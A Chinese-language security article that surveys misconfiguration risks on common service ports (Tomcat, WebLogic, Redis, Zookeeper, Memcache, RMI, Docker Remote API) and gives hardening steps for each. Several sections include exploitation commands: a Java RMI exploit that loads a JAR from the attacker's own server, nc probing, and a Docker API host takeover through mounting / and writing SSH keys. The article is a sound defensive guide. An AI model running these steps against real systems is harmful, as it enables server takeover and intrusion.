常见服务端口安全风险总结
前言
在日常安全测试工作中，至少有30%以上的定级为严重和高危的漏洞，都是基于服务端口配置不当所造成的。
因此，本篇文章主要针对服务端口安全问题展开简单总结，希望能尽量减少在日常开发工作中的严重高危漏洞。（由于篇幅有限，本文只探讨平时在安全测试中所发现的端口服务漏洞）
我们都知道，Web服务一般都是通过端口号来识别的，而端口与服务的关系，就好像端口是闸门钥匙，服务是泄洪水库，当需要泄洪的时候需要用钥匙开启闸门。一旦钥匙保存不当（端口配置不当），那么这把钥匙就有可能被不怀好意的人所利用，所造成的后果往往是很严重的。比如敏感数据被窃取，服务器命令任意执行，服务器权限被非法获取等。下文来讲解具体的某些服务配置不当所造成的漏洞危害，以及如何去正确配置。
服务
Apache/Tomcat/Nginx等中间件（默认端口：80/8080）
1、弱口令（admin/admin，root/root等）
详解：有些应用开放了中间件的控制台页面，如果存在弱口令，可通过爆破登录控制台，对部署的应用进行任意操作，甚至可以上传恶意脚本getshell。
加固：以tomcat为例，删除tomcat目录下的ROOT文件；或者打开conf/tomcat-uers.xml，修改类似于<user username="admin" password="admin" roles="admin,manager"/>的用户名密码。
2、版本信息泄露
详解：当访问应用不存在的页面时，会返回中间件默认设置的404页面，该页面会泄露相关版本信息。某些版本的中间件含有特定漏洞 ，如果攻击者知道了版本信息，可能会针对该版本来进行攻击，因此需要我们自定义错误页面。
加固：在web.xml文件的<error-page>设置中，重定向到自定义的错误页面。
WebLogic（默认端口7001）
1、java反序列化
详解：Java反序列化即，由字节流还原成对象。ObjectInputStream类的readObject()方法用于反序列化。因此要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。Oracle WebLogic Server 10.3.6.0, 12.1.3.0, 12.2.1.0和12.2.1.1版本存在反序列化远程命令执行漏洞，恶意人员可以通过构造恶意请求报文远程执行命令。
利用：同样的java反序列化漏洞，也存在于Jboss、Websphere、Jenkins容器中。可利用java反序列化测试工具进行测试。
加固：升级weblogic官方补丁包；或者删除特定文件，删除commons-collections.jar包内org/apache/commons/collections/functors/InvokerTransformer.class文件，要用压缩工具软件打开后直接删除。
2、Weblogic服务端请求伪造漏洞(SSRF)
详解：WebLogic 服务器的 UDDI 功能通常很隐蔽，但外部可以访问，Oracle的 WebLogic web服务器通常（a）外部可访问；（b）被允许调用对内部主机的连接。 SearchPublicRegistries.jsp 页面可被未认证的攻击者滥用，造成 WebLogic 服务器连接任意主机的任意端口。其返回信息非常详细，可被攻击者用来推断在指定端口是否有相关服务在监听。
利用：通过访问http://**.**.**.**/uddiexplorer/SearchPublicRegistries.jsp，点击search，拦截请求包，将operator参数改为想要探测的主机，通过响应信息科判断主机是否被监听，可探测内网。
加固：如果业务不需要UDDI功能，就关闭这个功能。可以删除uddiexporer文件夹，可以可在/weblogicPath/server/lib/uddiexplorer.war解压后，注释掉上面的jsp再打包。
Redis数据库（默认端口6379）
1、Redis未授权访问
详解：redis是一个开源的使用c语言写的，支持网络、可基于内存亦可持久化的日志型、key-value数据库。Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据，可导致敏感信息泄露，也可以恶意执行flushall来清空所有数据。如果Redis以root身份运行，可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。
利用：用redis-cli客户端尝试未授权访问，redis-cli -h ip。可获取redis数据库中敏感信息，还可以写入SSH公钥文件来登录受害服务器，从而获取服务器权限。
加固：为Redis 添加密码验证（重启redis才能生效）：修改 redis.conf 文件，添加requirepass mypassword（注意redis不要用-a参数，明文输入密码，连接后使用auth证）；或者禁止一些高危命令（重启redis才能生效）修改 redis.conf 文件，禁用远程修改 DB 文件地址：
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
Zookeeper服务（默认端口2181）
1、未授权访问
详解：分布式的，开放源码的分布式应用程序协调服务。Zookeeper安装部署之后默认情况下不需要任何身份验证，造成攻击者可以远程利用Zookeeper，通过服务器收集敏感信息或者在Zookeeper集群内进行破坏（比如：kill命令）。攻击者能够执行所有只允许由管理员运行的命令。
利用：执行以下命令即可远程获取该服务器的环境：echo envi | nc ip port
直接连接：./zkCli.sh -server ip:port
加固： 1、禁止把Zookeeper直接暴露在公网2、添加访问控制，根据情况选择对应方式（认证用户，用户名密码）3、绑定指定IP访问
Memcache服务（默认端口11211）
1、未授权访问
详解：Memcache是一套常用的key-value缓存系统，由于它本身没有权限控制模块，所以对公网开放的Memcache服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取Memcached中的敏感信息。
利用：1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听，存在memcached未授权访问漏洞。2、telnet <target> 11211，或nc -vv <target> 11211，提示连接成功表示漏洞存在。
加固：1、设置memchached只允许本地访问2、禁止外网访问Memcached 11211端口3、编译时加上–enable-sasl，启用SASL认证
RMI服务（默认端口1090、1099）
1、远程命令执行
详解：Java RMI服务是远程方法调用。它是一种机制，能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持，但是由于配置不当，导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ，即可以远程执行任意代码。当然，这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用，在很多服务支持 JMX 的情况下其实也能够适用。
利用：利用攻击测试文件RMIexploit.jar（可从网上下载），其中的ErrorBaseExec.jar是一个自定义的可以执行回显的jar文件，将它放置到VPS上使得其可以通过http访问。命令行下执行java -jar RMIexploit.jar 目标ip 端口 http://自己ip:端口/ErroBaseExec.jar "命令"
Docker Remote API（默认端口2375）
1、Docker未授权访问
详解：Docker Remote API是一个取代远程命令行界面（rcli）的REST API。通过 docker client 或者 http 直接请求就可以访问这个 API，通过这个接口，我们可以新建 container，删除已有 container，甚至是获取宿主机的 shell。
利用：通过访问http://ip/images/json可以获取到所有的 images 列表
http://host:2375/containers/json会返回服务器当前运行的 container列表，和在docker CLI上执行 docker ps 的效果一样，过Post包我们还可以新建、开启和关闭容器，其他操作比如拉取image等操作也都可以通过API调用完成。
Docker remote Api未授权访问的攻击原理与之前的Redis未授权访问漏洞大同小异，都是通过向运行该应用的服务器写文件，从而拿到服务器的权限，常见的利用方法如下:
（1）远程对被攻击的主机的docker容器进行操作：docker -H tcp://remoteip:2375 images
（2）启动一个容器并将宿主机根目录挂在到容器的mnt目录：docker -H tcp://remoteip:2375 run -it -v /:/mnt imageId /bin/bash
（3）在本地主机生成公钥文件：ssh-keygen
（4）在容器上的root目录中，mkdir .ssh 创建ssh目录；touch authorized_keys 创建文件
（5）将主机中的rsa.pub里的公钥写入容器中的authorized_keys文件里
（6）ssh root@ip 免密码登录宿主主机
加固：1、在不必需的情况下，不要启用docker的remote api服务，如果必须使用的话，可以采用如下的加固方式：设置ACL，仅允许信任的来源IP连接；设置TLS认证，官方的文档为Protect the Docker daemon socket
1、 客户端连接时需要设置以下环境变量export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
3、在 docker api 服务器前面加一个代理，例如 nginx，设置 401 认证
结束语
以上关于服务端口的漏洞，都是基于平时对公司产品进行安全测试时所发现的。在WEB应用中，能获取服务器权限或getshell的漏洞，很多都是由于开发人员疏忽了对服务端口的安全配置造成的。其实，只要做好对服务端口的正确配置和加固，就能避免相当一部分高中危甚至是严重的漏洞。
